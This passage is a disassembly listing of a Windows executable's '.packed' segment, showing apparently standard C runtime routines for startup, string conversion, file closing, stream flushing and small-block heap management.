loc_41E064 jmp loc_41E12E ; --------------------------------------------------------------------------- loc_41E085: ; CODE XREF: sub_41E034+26j mov ebx, [ebp+arg_4] mov esi, dword_428184 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_4DE0FC call esi ; MultiByteToWideChar test eax, eax jnz loc_41E12D call dword_42808C ; RtlGetLastWin32Error cmp eax, 7Ah jz short loc_41E0BF loc_41E0B0: ; CODE XREF: sub_41E034+CBj ; sub_41E034+F7j mov dword_4DE02C, 2Ah or eax, 0FFFFFFFFh jmp short loc_41E12E ; --------------------------------------------------------------------------- loc_41E0BF: ; CODE XREF: sub_41E034+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_41E0C7: ; CODE XREF: sub_41E034+B3j mov cl, [eax] test cl, cl jz short loc_41E0E9 mov edx, off_43EFE8 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_41E0DE inc eax loc_41E0DE: ; CODE XREF: sub_41E034+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_41E0C7 loc_41E0E9: ; CODE XREF: sub_41E034+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_4DE0FC call esi ; MultiByteToWideChar test eax, eax jnz short loc_41E12E jmp short loc_41E0B0 ; --------------------------------------------------------------------------- loc_41E101: ; CODE XREF: sub_41E034+Fj cmp dword_4DE0EC, esi jnz short loc_41E114 push [ebp+arg_4] call sub_41B7B0 pop ecx jmp short loc_41E12E ; --------------------------------------------------------------------------- loc_41E114: ; CODE XREF: sub_41E034+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_4DE0FC call dword_428184 ; MultiByteToWideChar cmp eax, esi jz short loc_41E0B0 loc_41E12D: ; CODE XREF: sub_41E034+6Bj dec eax loc_41E12E: ; CODE XREF: sub_41E034+1Aj ; sub_41E034+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_41E034 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_428720 push offset sub_423D9C mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 58h push ebx push esi push edi mov [ebp-18h], esp call dword_4281B4 ; GetVersion xor edx, edx mov dl, ah mov dword_4DE044, edx mov ecx, eax and ecx, 0FFh mov dword_4DE040, ecx shl ecx, 8 add ecx, edx mov dword_4DE03C, ecx shr eax, 10h mov dword_4DE038, eax xor esi, esi push esi call sub_41E5D2 pop ecx test eax, eax jnz short loc_41E19F push 1Ch call sub_41E24E pop ecx loc_41E19F: ; CODE XREF: .packed:0041E195j mov [ebp-4], esi call sub_423BE6 call dword_4281B0 ; GetCommandLineA mov dword_4DF6CC, eax call sub_423AB4 mov dword_4DE0A0, eax call sub_423867 call sub_4237AE call sub_41BF54 mov [ebp-30h], esi lea eax, [ebp-5Ch] push eax call dword_4281AC ; GetStartupInfoA call sub_423756 mov [ebp-64h], eax test byte ptr [ebp-30h], 1 jz short loc_41E1EC movzx eax, word ptr [ebp-2Ch] jmp short loc_41E1EF ; --------------------------------------------------------------------------- loc_41E1EC: ; CODE XREF: .packed:0041E1E4j push 0Ah pop eax loc_41E1EF: ; CODE XREF: .packed:0041E1EAj push eax push dword ptr [ebp-64h] push esi push esi call dword_42809C ; GetModuleHandleA push eax call sub_401252 mov [ebp-60h], eax push eax call sub_41BF81 mov eax, [ebp-14h] mov ecx, [eax] mov ecx, [ecx] mov [ebp-68h], ecx push eax push ecx call sub_4235D2 pop ecx pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] push dword ptr [ebp-68h] call sub_41BF92 ; =============== S U B R O U T I N E ======================================= sub_41E229 proc near ; CODE XREF: sub_41D822+16p ; sub_422F2B+4Dp ... arg_0 = dword ptr 4 cmp dword_4DE0A8, 1 jnz short loc_41E237 call sub_423E74 loc_41E237: ; CODE XREF: sub_41E229+7j push [esp+arg_0] call sub_423EAD push 0FFh call off_43CFB0 pop ecx pop ecx retn sub_41E229 endp ; =============== S U B R O U T I N E ======================================= sub_41E24E proc near ; CODE XREF: .packed:0041E199p arg_0 = dword ptr 4 cmp dword_4DE0A8, 1 jnz short loc_41E25C call sub_423E74 loc_41E25C: ; CODE XREF: sub_41E24E+7j push [esp+arg_0] call sub_423EAD pop ecx push 0FFh call dword_428068 ; ExitProcess retn sub_41E24E endp ; =============== S U B R O U T I N E ======================================= sub_41E272 proc near ; CODE XREF: sub_41B82B+2Ap ; sub_42425E+290p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] cmp edi, dword_4DE460 jnb loc_41E30C mov eax, edi mov esi, edi sar eax, 5 and esi, 1Fh lea ebx, ds:4DE360h[eax*4] shl esi, 3 mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_41E30C push edi call sub_424186 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41E2EB cmp edi, 1 jz short loc_41E2B9 cmp edi, 2 jnz short loc_41E2CF loc_41E2B9: ; CODE XREF: sub_41E272+40j push 2 call sub_424186 push 1 mov ebp, eax call sub_424186 pop ecx cmp eax, ebp pop ecx jz short loc_41E2EB loc_41E2CF: ; CODE XREF: sub_41E272+45j push edi call sub_424186 pop ecx push eax call dword_42806C ; CloseHandle test eax, eax jnz short loc_41E2EB call dword_42808C ; RtlGetLastWin32Error mov ebp, eax jmp short loc_41E2ED ; --------------------------------------------------------------------------- loc_41E2EB: ; CODE XREF: sub_41E272+3Bj ; sub_41E272+5Bj ... xor ebp, ebp loc_41E2ED: ; CODE XREF: sub_41E272+77j push edi call sub_42410C mov eax, [ebx] pop ecx and byte ptr [eax+esi+4], 0 test ebp, ebp jz short loc_41E308 push ebp call sub_420BDF pop ecx jmp short loc_41E31D ; --------------------------------------------------------------------------- loc_41E308: ; CODE XREF: sub_41E272+8Bj xor eax, eax jmp short loc_41E320 ; --------------------------------------------------------------------------- loc_41E30C: ; CODE XREF: sub_41E272+Ej ; sub_41E272+2Fj and dword_4DE030, 0 mov dword_4DE02C, 9 loc_41E31D: ; CODE XREF: sub_41E272+94j or eax, 0FFFFFFFFh loc_41E320: ; CODE XREF: sub_41E272+98j pop edi pop esi pop ebp pop ebx retn sub_41E272 endp ; =============== S U B R O U T I N E ======================================= sub_41E325 proc near ; CODE XREF: sub_41B82B+22p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz short loc_41E34E test al, 8 jz short loc_41E34E push dword ptr [esi+8] call sub_41B881 and word ptr [esi+0Ch], 0FBF7h xor eax, eax pop ecx mov [esi], eax mov [esi+8], eax mov [esi+4], eax loc_41E34E: ; CODE XREF: sub_41E325+Aj ; sub_41E325+Ej pop esi retn sub_41E325 endp ; =============== S U B R O U T I N E ======================================= sub_41E350 proc near ; CODE XREF: sub_41E3F0+2Dp ; sub_41E3F0+48p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jnz short loc_41E362 push esi call sub_41E3F0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_41E362: ; CODE XREF: sub_41E350+7j push esi call sub_41E38B test eax, eax pop ecx jz short loc_41E372 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41E372: ; CODE XREF: sub_41E350+1Bj test byte ptr [esi+0Dh], 40h jz short loc_41E387 push dword ptr [esi+10h] call sub_4241C3 neg eax pop ecx pop esi sbb eax, eax retn ; --------------------------------------------------------------------------- loc_41E387: ; CODE XREF: sub_41E350+26j xor eax, eax pop esi retn sub_41E350 endp ; =============== S U B R O U T I N E ======================================= sub_41E38B proc near ; CODE XREF: sub_41B82B+1Ap ; sub_41D9ED+37p ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi+0Ch] mov ecx, eax and ecx, 3 cmp cl, 2 jnz short loc_41E3D8 test ax, 108h jz short loc_41E3D8 mov eax, [esi+8] mov edi, [esi] sub edi, eax test edi, edi jle short loc_41E3D8 push edi push eax push dword ptr [esi+10h] call sub_4231D6 add esp, 0Ch cmp eax, edi jnz short loc_41E3D1 mov eax, [esi+0Ch] test al, 80h jz short loc_41E3D8 and al, 0FDh mov [esi+0Ch], eax jmp short loc_41E3D8 ; --------------------------------------------------------------------------- loc_41E3D1: ; CODE XREF: sub_41E38B+36j or dword ptr [esi+0Ch], 20h or ebx, 0FFFFFFFFh loc_41E3D8: ; CODE XREF: sub_41E38B+14j ; sub_41E38B+1Aj ... mov eax, [esi+8] and dword ptr [esi+4], 0 mov [esi], eax pop edi mov eax, ebx pop esi pop ebx retn sub_41E38B endp ; =============== S U B R O U T I N E ======================================= sub_41E3E7 proc near ; CODE XREF: sub_422FD0p push 1 call sub_41E3F0 pop ecx retn sub_41E3E7 endp ; =============== S U B R O U T I N E ======================================= sub_41E3F0 proc near ; CODE XREF: sub_41E350+Ap ; sub_41E3E7+2p arg_0 = dword ptr 4 push ebx push esi push edi xor esi, esi xor ebx, ebx xor edi, edi cmp dword_4DF480, esi jle short loc_41E44E loc_41E401: ; CODE XREF: sub_41E3F0+5Cj mov eax, dword_4DE464 mov eax, [eax+esi*4] test eax, eax jz short loc_41E445 mov ecx, [eax+0Ch] test cl, 83h jz short loc_41E445 cmp [esp+0Ch+arg_0], 1 jnz short loc_41E42B push eax call sub_41E350 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41E445 inc ebx jmp short loc_41E445 ; --------------------------------------------------------------------------- loc_41E42B: ; CODE XREF: sub_41E3F0+2Aj cmp [esp+0Ch+arg_0], 0 jnz short loc_41E445 test cl, 2 jz short loc_41E445 push eax call sub_41E350 cmp eax, 0FFFFFFFFh pop ecx jnz short loc_41E445 or edi, eax loc_41E445: ; CODE XREF: sub_41E3F0+1Bj ; sub_41E3F0+23j ... inc esi cmp esi, dword_4DF480 jl short loc_41E401 loc_41E44E: ; CODE XREF: sub_41E3F0+Fj cmp [esp+0Ch+arg_0], 1 mov eax, ebx jz short loc_41E459 mov eax, edi loc_41E459: ; CODE XREF: sub_41E3F0+65j pop edi pop esi pop ebx retn sub_41E3F0 endp ; =============== S U B R O U T I N E ======================================= sub_41E45D proc near ; CODE XREF: sub_41E48A+136p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 0 and dword ptr [esi], 0 call dword_42809C ; GetModuleHandleA cmp word ptr [eax], 5A4Dh jnz short loc_41E488 mov ecx, [eax+3Ch] test ecx, ecx jz short loc_41E488 add eax, ecx mov cl, [eax+1Ah] mov [esi], cl mov al, [eax+1Bh] mov [esi+1], al loc_41E488: ; CODE XREF: sub_41E45D+15j ; sub_41E45D+1Cj pop esi retn sub_41E45D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E48A proc near ; CODE XREF: sub_41E5D2+20p var_122C = byte ptr -122Ch var_19C = byte ptr -19Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_88 = dword ptr -88h var_4 = byte ptr -4 push ebp mov ebp, esp mov eax, 122Ch call sub_41C2F0 lea eax, [ebp+var_98] push ebx push eax mov [ebp+var_98], 94h call dword_4280C8 ; GetVersionExA test eax, eax jz short loc_41E4CD cmp [ebp+var_88], 2 jnz short loc_41E4CD cmp [ebp+var_94], 5 jb short loc_41E4CD push 1 pop eax jmp loc_41E5CF ; --------------------------------------------------------------------------- loc_41E4CD: ; CODE XREF: sub_41E48A+27j ; sub_41E48A+30j ... lea eax, [ebp+var_122C] push 1090h push eax push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" call dword_4281B8 ; GetEnvironmentVariableA test eax, eax jz loc_41E5BC xor ebx, ebx lea ecx, [ebp+var_122C] cmp [ebp+var_122C], bl jz short loc_41E50F loc_41E4FC: ; CODE XREF: sub_41E48A+83j mov al, [ecx] cmp al, 61h jl short loc_41E50A cmp al, 7Ah jg short loc_41E50A sub al, 20h mov [ecx], al loc_41E50A: ; CODE XREF: sub_41E48A+76j ; sub_41E48A+7Aj inc ecx cmp [ecx], bl jnz short loc_41E4FC loc_41E50F: ; CODE XREF: sub_41E48A+70j lea eax, [ebp+var_122C] push 16h push eax push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED" call sub_41C640 add esp, 0Ch test eax, eax jnz short loc_41E531 lea eax, [ebp+var_122C] jmp short loc_41E57A ; --------------------------------------------------------------------------- loc_41E531: ; CODE XREF: sub_41E48A+9Dj lea eax, [ebp+var_19C] push 104h push eax push ebx call dword_428074 ; GetModuleFileNameA cmp [ebp+var_19C], bl lea ecx, [ebp+var_19C] jz short loc_41E565 loc_41E552: ; CODE XREF: sub_41E48A+D9j mov al, [ecx] cmp al, 61h jl short loc_41E560 cmp al, 7Ah jg short loc_41E560 sub al, 20h mov [ecx], al loc_41E560: ; CODE XREF: sub_41E48A+CCj ; sub_41E48A+D0j inc ecx cmp [ecx], bl jnz short loc_41E552 loc_41E565: ; CODE XREF: sub_41E48A+C6j lea eax, [ebp+var_19C] push eax lea eax, [ebp+var_122C] push eax call sub_41C0D0 pop ecx pop ecx loc_41E57A: ; CODE XREF: sub_41E48A+A5j cmp eax, ebx jz short loc_41E5BC push 2Ch push eax call sub_41C780 pop ecx cmp eax, ebx pop ecx jz short loc_41E5BC inc eax mov ecx, eax cmp [eax], bl jz short loc_41E5A1 loc_41E593: ; CODE XREF: sub_41E48A+115j cmp byte ptr [ecx], 3Bh jnz short loc_41E59C mov [ecx], bl jmp short loc_41E59D ; --------------------------------------------------------------------------- loc_41E59C: ; CODE XREF: sub_41E48A+10Cj inc ecx loc_41E59D: ; CODE XREF: sub_41E48A+110j cmp [ecx], bl jnz short loc_41E593 loc_41E5A1: ; CODE XREF: sub_41E48A+107j push 0Ah push ebx push eax call sub_41C376 add esp, 0Ch cmp eax, 2 jz short loc_41E5CF cmp eax, 3 jz short loc_41E5CF cmp eax, 1 jz short loc_41E5CF loc_41E5BC: ; CODE XREF: sub_41E48A+5Cj ; sub_41E48A+F2j ... lea eax, [ebp+var_4] push eax call sub_41E45D cmp [ebp+var_4], 6 pop ecx sbb eax, eax add eax, 3 loc_41E5CF: ; CODE XREF: sub_41E48A+3Ej ; sub_41E48A+126j ... pop ebx leave retn sub_41E48A endp ; =============== S U B R O U T I N E ======================================= sub_41E5D2 proc near ; CODE XREF: .packed:0041E18Dp arg_0 = dword ptr 4 xor eax, eax push 0 cmp [esp+4+arg_0], eax push 1000h setz al push eax call dword_4281C0 ; HeapCreate test eax, eax mov dword_4DF6C4, eax jz short loc_41E628 call sub_41E48A cmp eax, 3 mov dword_4DF6C8, eax jnz short loc_41E60E push 3F8h call sub_41E62F pop ecx jmp short loc_41E618 ; --------------------------------------------------------------------------- loc_41E60E: ; CODE XREF: sub_41E5D2+2Dj cmp eax, 2 jnz short loc_41E62B call sub_41F176 loc_41E618: ; CODE XREF: sub_41E5D2+3Aj test eax, eax jnz short loc_41E62B push dword_4DF6C4 call dword_4281BC ; HeapDestroy loc_41E628: ; CODE XREF: sub_41E5D2+1Ej xor eax, eax retn ; --------------------------------------------------------------------------- loc_41E62B: ; CODE XREF: sub_41E5D2+3Fj ; sub_41E5D2+48j push 1 pop eax retn sub_41E5D2 endp ; =============== S U B R O U T I N E ======================================= sub_41E62F proc near ; CODE XREF: sub_41E5D2+34p arg_0 = dword ptr 4 push 140h push 0 push dword_4DF6C4 call dword_428148 ; RtlAllocateHeap test eax, eax mov dword_4DF6BC, eax jnz short loc_41E64C retn ; --------------------------------------------------------------------------- loc_41E64C: ; CODE XREF: sub_41E62F+1Aj mov ecx, [esp+arg_0] and dword_4DF6B4, 0 and dword_4DF6B8, 0 push 1 mov dword_4DF6B0, eax mov dword_4DF6C0, ecx mov dword_4DF6A8, 10h pop eax retn sub_41E62F endp ; =============== S U B R O U T I N E ======================================= sub_41E677 proc near ; CODE XREF: sub_41B881+17p ; sub_41B9D2+4Cp ... arg_0 = dword ptr 4 mov eax, dword_4DF6B8 lea ecx, [eax+eax*4] mov eax, dword_4DF6BC lea ecx, [eax+ecx*4] loc_41E687: ; CODE XREF: sub_41E677+26j cmp eax, ecx jnb short loc_41E69F mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_41E6A1 add eax, 14h jmp short loc_41E687 ; --------------------------------------------------------------------------- loc_41E69F: ; CODE XREF: sub_41E677+12j xor eax, eax locret_41E6A1: ; CODE XREF: sub_41E677+21j retn sub_41E677 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E6A2 proc near ; CODE XREF: sub_41B881+23p ; sub_41B9D2+A4p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ebp+arg_4] mov eax, [ecx+10h] push edi mov edi, esi add esi, 0FFFFFFFCh sub edi, [ecx+0Ch] shr edi, 0Fh mov ecx, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_10], ecx mov ecx, [esi] dec ecx test cl, 1 mov [ebp+var_4], ecx jnz loc_41E9C6 mov edx, [ecx+esi] lea ebx, [ecx+esi] mov [ebp+var_C], edx mov edx, [esi-4] mov [ebp+var_8], edx mov edx, [ebp+var_C] test dl, 1 mov [ebp+arg_4], ebx jnz short loc_41E778 sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41E706 push 3Fh pop edx loc_41E706: ; CODE XREF: sub_41E6A2+5Fj mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41E75A cmp edx, 20h jnb short loc_41E731 mov ebx, 80000000h mov ecx, edx shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+44h], ebx dec byte ptr [ecx] jnz short loc_41E752 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E752 ; --------------------------------------------------------------------------- loc_41E731: ; CODE XREF: sub_41E6A2+6Fj lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [edx+eax+4] not ebx and [eax+edi*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E752 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E752: ; CODE XREF: sub_41E6A2+86j ; sub_41E6A2+8Dj ... mov ecx, [ebp+var_4] mov ebx, [ebp+arg_4] jmp short loc_41E75D ; --------------------------------------------------------------------------- loc_41E75A: ; CODE XREF: sub_41E6A2+6Aj mov ecx, [ebp+var_4] loc_41E75D: ; CODE XREF: sub_41E6A2+B6j mov edx, [ebx+8] mov ebx, [ebx+4] add ecx, [ebp+var_C] mov [edx+4], ebx mov edx, [ebp+arg_4] mov [ebp+var_4], ecx mov ebx, [edx+4] mov edx, [edx+8] mov [ebx+8], edx loc_41E778: ; CODE XREF: sub_41E6A2+56j mov edx, ecx sar edx, 4 dec edx cmp edx, 3Fh jbe short loc_41E786 push 3Fh pop edx loc_41E786: ; CODE XREF: sub_41E6A2+DFj mov ebx, [ebp+var_8] and ebx, 1 mov [ebp+var_C], ebx jnz loc_41E829 sub esi, [ebp+var_8] mov ebx, [ebp+var_8] sar ebx, 4 push 3Fh mov [ebp+arg_4], esi dec ebx pop esi cmp ebx, esi jbe short loc_41E7AB mov ebx, esi loc_41E7AB: ; CODE XREF: sub_41E6A2+105j add ecx, [ebp+var_8] mov edx, ecx mov [ebp+var_4], ecx sar edx, 4 dec edx cmp edx, esi jbe short loc_41E7BD mov edx, esi loc_41E7BD: ; CODE XREF: sub_41E6A2+117j cmp ebx, edx jz short loc_41E824 mov ecx, [ebp+arg_4] mov esi, [ecx+4] cmp esi, [ecx+8] jnz short loc_41E80C cmp ebx, 20h jnb short loc_41E7ED mov esi, 80000000h mov ecx, ebx shr esi, cl not esi and [eax+edi*4+44h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E80C mov ecx, [ebp+arg_0] and [ecx], esi jmp short loc_41E80C ; --------------------------------------------------------------------------- loc_41E7ED: ; CODE XREF: sub_41E6A2+12Dj lea ecx, [ebx-20h] mov esi, 80000000h shr esi, cl not esi and [eax+edi*4+0C4h], esi dec byte ptr [ebx+eax+4] jnz short loc_41E80C mov ecx, [ebp+arg_0] and [ecx+4], esi loc_41E80C: ; CODE XREF: sub_41E6A2+128j ; sub_41E6A2+142j ... mov ecx, [ebp+arg_4] mov esi, [ecx+8] mov ecx, [ecx+4] mov [esi+4], ecx mov ecx, [ebp+arg_4] mov esi, [ecx+4] mov ecx, [ecx+8] mov [esi+8], ecx loc_41E824: ; CODE XREF: sub_41E6A2+11Dj mov esi, [ebp+arg_4] jmp short loc_41E82C ; --------------------------------------------------------------------------- loc_41E829: ; CODE XREF: sub_41E6A2+EDj mov ebx, [ebp+arg_0] loc_41E82C: ; CODE XREF: sub_41E6A2+185j cmp [ebp+var_C], 0 jnz short loc_41E83A cmp ebx, edx jz loc_41E8BB loc_41E83A: ; CODE XREF: sub_41E6A2+18Ej mov ecx, [ebp+var_10] mov ebx, [ecx+edx*8+4] lea ecx, [ecx+edx*8] mov [esi+4], ebx mov [esi+8], ecx mov [ecx+4], esi mov ecx, [esi+4] mov [ecx+8], esi mov ecx, [esi+4] cmp ecx, [esi+8] jnz short loc_41E8BB mov cl, [edx+eax+4] cmp edx, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edx+eax+4], cl jnb short loc_41E892 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E881 mov ebx, 80000000h mov ecx, edx shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E881: ; CODE XREF: sub_41E6A2+1CFj mov ebx, 80000000h mov ecx, edx shr ebx, cl lea eax, [eax+edi*4+44h] or [eax], ebx jmp short loc_41E8BB ; --------------------------------------------------------------------------- loc_41E892: ; CODE XREF: sub_41E6A2+1C9j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E8A8 lea ecx, [edx-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E8A8: ; CODE XREF: sub_41E6A2+1F4j lea ecx, [edx-20h] mov edx, 80000000h shr edx, cl lea eax, [eax+edi*4+0C4h] or [eax], edx loc_41E8BB: ; CODE XREF: sub_41E6A2+192j ; sub_41E6A2+1B7j ... mov eax, [ebp+var_4] mov [esi], eax mov [eax+esi-4], eax mov eax, [ebp+var_10] dec dword ptr [eax] jnz loc_41E9C6 mov eax, dword_4DF6B4 test eax, eax jz loc_41E9B8 mov ecx, dword_4DF6AC mov esi, dword_4281C4 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call esi ; VirtualFree mov ecx, dword_4DF6AC mov eax, dword_4DF6B4 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_4DF6B4 mov ecx, dword_4DF6AC mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_4DF6B4 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_4DF6B4 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_41E949 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_4DF6B4 loc_41E949: ; CODE XREF: sub_41E6A2+29Cj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41E9B8 push ebx push 0 push dword ptr [eax+0Ch] call esi ; VirtualFree mov eax, dword_4DF6B4 push dword ptr [eax+10h] push 0 push dword_4DF6C4 call dword_428144 ; RtlFreeHeap mov eax, dword_4DF6B8 mov edx, dword_4DF6BC lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_4DF6B4 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_41D460 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_4DF6B8 cmp eax, dword_4DF6B4 jbe short loc_41E9AE sub [ebp+arg_0], 14h loc_41E9AE: ; CODE XREF: sub_41E6A2+306j mov eax, dword_4DF6BC mov dword_4DF6B0, eax loc_41E9B8: ; CODE XREF: sub_41E6A2+234j ; sub_41E6A2+2ABj mov eax, [ebp+arg_0] mov dword_4DF6AC, edi mov dword_4DF6B4, eax loc_41E9C6: ; CODE XREF: sub_41E6A2+38j ; sub_41E6A2+227j pop edi pop esi pop ebx leave retn sub_41E6A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E9CB proc near ; CODE XREF: sub_41B9D2+77p ; sub_41BCE3+18p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_4DF6B8 mov edx, dword_4DF6BC push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_41EA0B or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41EA1B ; --------------------------------------------------------------------------- loc_41EA0B: ; CODE XREF: sub_41E9CB+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_41EA1B: ; CODE XREF: sub_41E9CB+3Ej mov eax, dword_4DF6B0 mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_41EA42 loc_41EA29: ; CODE XREF: sub_41E9CB+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41EA42 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_41EA29 loc_41EA42: ; CODE XREF: sub_41E9CB+5Cj ; sub_41E9CB+6Aj cmp ebx, [ebp+var_4] jnz short loc_41EAC0 mov ebx, edx loc_41EA49: ; CODE XREF: sub_41E9CB+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41EA65 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41EA63 add ebx, 14h jmp short loc_41EA49 ; --------------------------------------------------------------------------- loc_41EA63: ; CODE XREF: sub_41E9CB+91j cmp ebx, eax loc_41EA65: ; CODE XREF: sub_41E9CB+83j jnz short loc_41EAC0 loc_41EA67: ; CODE XREF: sub_41E9CB+ADj cmp ebx, [ebp+var_4] jnb short loc_41EA7D cmp dword ptr [ebx+8], 0 jnz short loc_41EA7A add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_41EA67 ; --------------------------------------------------------------------------- loc_41EA7A: ; CODE XREF: sub_41E9CB+A5j cmp ebx, [ebp+var_4] loc_41EA7D: ; CODE XREF: sub_41E9CB+9Fj jnz short loc_41EAA5 mov ebx, edx loc_41EA81: ; CODE XREF: sub_41E9CB+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_41EA95 cmp dword ptr [ebx+8], 0 jnz short loc_41EA93 add ebx, 14h jmp short loc_41EA81 ; --------------------------------------------------------------------------- loc_41EA93: ; CODE XREF: sub_41E9CB+C1j cmp ebx, eax loc_41EA95: ; CODE XREF: sub_41E9CB+BBj jnz short loc_41EAA5 call sub_41ECD4 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41EAB9 loc_41EAA5: ; CODE XREF: sub_41E9CB:loc_41EA7Dj ; sub_41E9CB:loc_41EA95j push ebx call sub_41ED85 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41EAC0 loc_41EAB9: ; CODE XREF: sub_41E9CB+D8j xor eax, eax jmp loc_41ECCF ; --------------------------------------------------------------------------- loc_41EAC0: ; CODE XREF: sub_41E9CB+7Aj ; sub_41E9CB:loc_41EA65j ... mov dword_4DF6B0, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_41EAE7 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_41EB1E loc_41EAE7: ; CODE XREF: sub_41E9CB+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_41EB1B loc_41EB04: ; CODE XREF: sub_41E9CB+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_41EB04 loc_41EB1B: ; CODE XREF: sub_41E9CB+137j mov edx, [ebp+var_4] loc_41EB1E: ; CODE XREF: sub_41E9CB+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_41EB47 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_41EB47: ; CODE XREF: sub_41E9CB+16Dj ; sub_41E9CB+183j test ecx, ecx jl short loc_41EB50 shl ecx, 1 inc edi jmp short loc_41EB47 ; --------------------------------------------------------------------------- loc_41EB50: ; CODE XREF: sub_41E9CB+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short 